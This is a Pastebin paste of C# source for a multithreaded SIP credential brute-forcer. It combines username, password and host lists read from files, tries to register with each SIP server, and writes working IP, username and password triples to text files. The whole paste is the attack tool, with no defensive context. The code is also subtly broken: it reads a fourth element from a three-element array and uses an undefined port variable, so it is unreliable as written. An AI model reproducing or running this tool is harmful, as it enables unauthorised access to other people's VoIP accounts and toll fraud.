Guest User

Untitled

a guest
Feb 13th, 2019
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.80 KB | None | 0 0
  1. public static void Main(string[] args)
  2. {
  3.  
  4. int threads = Convert.ToInt32(File.ReadAllText(@"threads.txt"));
  5.  
  6. var workItems = new List<object>();
  7.  
  8.  
  9. foreach (string user in File.ReadLines("x.txt"))
  10. {
  11.  
  12.  
  13. foreach (string pass in File.ReadLines("y.txt"))
  14. {
  15.  
  16.  
  17. foreach (string line in File.ReadLines("z.txt"))
  18. {
  19.  
  20. workItems.Add(new object[] { line, user, pass });
  21.  
  22.  
  23. }
  24. ///////////////////////////////////////////////////////////////////
  25. }
  26. }
  27. var opts = new ParallelOptions() { MaxDegreeOfParallelism = threads };
  28. var results = Parallel.ForEach(workItems, opts, tesTConn );
  29.  
  30. Console.WriteLine("Press ENTER to exit.");
  31. Console.Read();
  32.  
  33.  
  34. }
  35.  
  36. //string domain, int port, string username, string password
  37.  
  38. public static void tesTConn(object state)
  39. {
  40. try
  41. {
  42.  
  43. object[] array = state as object[];
  44. string domain = Convert.ToString(array[0]);
  45. string username = Convert.ToString(array[2]);
  46. string password = Convert.ToString(array[3]);
  47.  
  48. Console.WriteLine("Working with line:" + domain);
  49.  
  50. SipClient client = new SipClient(domain, "0", "0");
  51.  
  52. client.Connect();
  53.  
  54. Contact[] contacts = client.GetRegisteredContacts("sip:" + domain, "sip:0@" + domain);
  55.  
  56. if (!(contacts != null && contacts.Length > 0))
  57. {
  58. SipClient client1 = new SipClient(domain, port, username, password);
  59. client1.Connect();
  60. Contact[] contacts1 = client1.GetRegisteredContacts("sip:" + domain, "sip:" + username + "@" + domain);
  61.  
  62. if ( contacts1.Length > 0)
  63. {
  64.  
  65. Console.WriteLine("Successfully Registered with data IP:" + domain + " | Username: " + username + " | Password: " + password);
  66.  
  67. string path = @domain + ".txt";
  68. if (!File.Exists(path))
  69. {
  70.  
  71. using (var tw = new StreamWriter(path, true))
  72. {
  73. tw.WriteLine(domain);
  74. tw.WriteLine(domain + " : " + username + " : " + password);
  75. }
  76.  
  77. }
  78. else if (File.Exists(path))
  79. {
  80. using (var tw = new StreamWriter(path, true))
  81. {
  82. tw.WriteLine(domain + " : " + username + " : " + password);
  83. }
  84. }
  85.  
  86.  
  87. }
  88. client1.Disconnect();
  89.  
  90. }
  91. client.Disconnect();
  92. return;
  93. }
  94. catch { }
  95. finally { }
  96.  
  97.  
  98. }
  99. }
Add Comment
Please, Sign In to add comment